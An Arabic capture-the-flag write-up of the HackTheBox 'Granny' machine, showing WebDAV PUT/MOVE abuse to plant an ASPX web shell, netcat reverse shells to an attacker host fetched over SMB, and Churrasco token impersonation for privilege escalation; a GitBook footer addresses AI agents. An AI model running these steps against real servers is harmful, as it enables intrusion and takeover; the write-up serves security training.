> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# شرح Granny HackTheBox

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**المهارات:**

* إساءة استخدام طريقتي PUT وMOVE - رفع WebShell ASPX
* Microsoft IIS 6.0 - تجاوز سعة المخزن المؤقت عن بُعد في WebDAV 'ScStoragePathFromUrl' (RCE)
* اختطاف الرمز المميز - Churrasco (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/1ebabcc1d48d3c5a8ea04b643e14023d85445863" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/cbdcc7cd8c59c477f292abf5ba8531840d2ed64e" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/c8ca983ab2d7449acadd3bead7e00b9e1b8b90c1" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/834232adf0322649c0f6c8825dad6563536de9b7" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/95bd35d022bd3042eed3a63a36db3b9494090079" alt=""><figcaption></figcaption></figure>

## ثغرة WebDAV

المنفذ 80 مفتوح، والخادم يدعم WebDAV. قد يتيح لنا ذلك رفع الملفات عبر طريقة PUT وإعادة تسميتها باستخدام MOVE.

<figure><img src="/files/dab804128b98418b015d60be9da771fa269e9e80" alt=""><figcaption></figcaption></figure>

أنشئ ملف اختبار:

```bash
echo "this is a test" > test.txt
```

اتصل بالخادم باستخدام **cadaver** الأداة:

```bash
cadaver 10.10.10.15
```

حاول رفع الملف باستخدام أمر PUT:

<figure><img src="/files/0ad9b66acddaa0a28f2e29e1488be0d1c2dd4c80" alt=""><figcaption></figcaption></figure>

* النتيجة: نجح.

<figure><img src="/files/97a11b39e8400a9b4d205d258360673b8fbc81f7" alt="" width="563"><figcaption></figcaption></figure>

### **رفع Web Shell**

انسخ WebShell ASPX موجودًا مسبقًا:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

حاول رفعه مباشرة:

```powershell
put aspx_cmd.aspx
```

النتيجة: فشل (الخادم يحظر الملفات ذات الامتداد .aspx).

<figure><img src="/files/728654d63c099d53c942b93efe8ad365820e371d" alt="" width="563"><figcaption></figcaption></figure>

غيّر الامتداد إلى **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

حاول الرفع مرة أخرى:

```powershell
PUT cmd.txt
```

* النتيجة: نجح.

<figure><img src="/files/f8b35cded99db8c433a68a468884646176915e65" alt="" width="563"><figcaption></figcaption></figure>

#### أعد تسمية الملف باستخدام MOVE لاستعادة الامتداد:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/2d0e65963d8fb6bc69462307a1e71c3e23188822" alt=""><figcaption></figcaption></figure>

الوصول إلى WebShell عبر المتصفح:

<figure><img src="/files/2d2106f9f5757c7ed7c5de6674b8677c986fe567" alt=""><figcaption></figcaption></figure>

### **Reverse Shell عبر WebShell:**

ضع ملف Netcat التنفيذي في الدليل الحالي:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

شغّل خادم SMB لمشاركة الملف:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

استمع على جهازك على المنفذ 443:

```bash
sudo rlwrap nc -nvlp 443
```

شغّل أمر الـ reverse shell من WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/ccdaa1bbcf7010e05f9011929be606af6a7bbcd6" alt=""><figcaption></figcaption></figure>

## **تصعيد الامتيازات :**

### استغلال النواة - Windows Server 2003

باستخدام `systeminfo` من خلال الأمر، نجد أن الجهاز قديم جدًا (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="/files/be28b0f97044d33472ecf446703aa4dff03a87e8" alt=""><figcaption></figcaption></figure>

ولدينا أيضًا `SeImpersonatePrivilege` الامتياز، الذي يتيح لنا محاولة رفع الامتيازات.

<figure><img src="/files/f2616d3f99da4c2eb6351cf3d85e803c047028c5" alt=""><figcaption></figcaption></figure>

للتغلب على هذا القيد، سنستخدم **churrasco.exe** الأداة.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* نقل الملفات في Windows (SMB)/*/*

> نستخدم **smbserver.py** لمشاركة دليل يحتوي على ملف الاستغلال 40627.exe. ثم يتم نسخ هذا الملف إلى الجهاز الهدف.

```bash
smbserver.py share $(pwd) -smb2support
```

من الجهاز الهدف، قمنا بنسخ الملف الخبيث باستخدام أمر SMB:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

يمكننا بعد ذلك تنفيذ أي أمر باستخدام هذا الملف الثنائي، على سبيل المثال:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/d564d29174620894665aec869f80e7d4b85af514" alt="" width="563"><figcaption></figcaption></figure>

**إنشاء reverse shell**

لإنشاء reverse shell، نستمع على المنفذ 443:

```bash
sudo rlwrap nc -nvlp 443
```

نعيد إنشاء خادم SMB باستخدام **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

أخيرًا، ننفذ reverse shell باستخدام الأمر التالي:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/3ce624486aa1c7b8bfe56de09cbf4d7ff3ce1ef5" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/0fa07ee813afd50969107586d5eb5edc787575e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/95c266a8018c453387cdeb02733987a07c214361" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
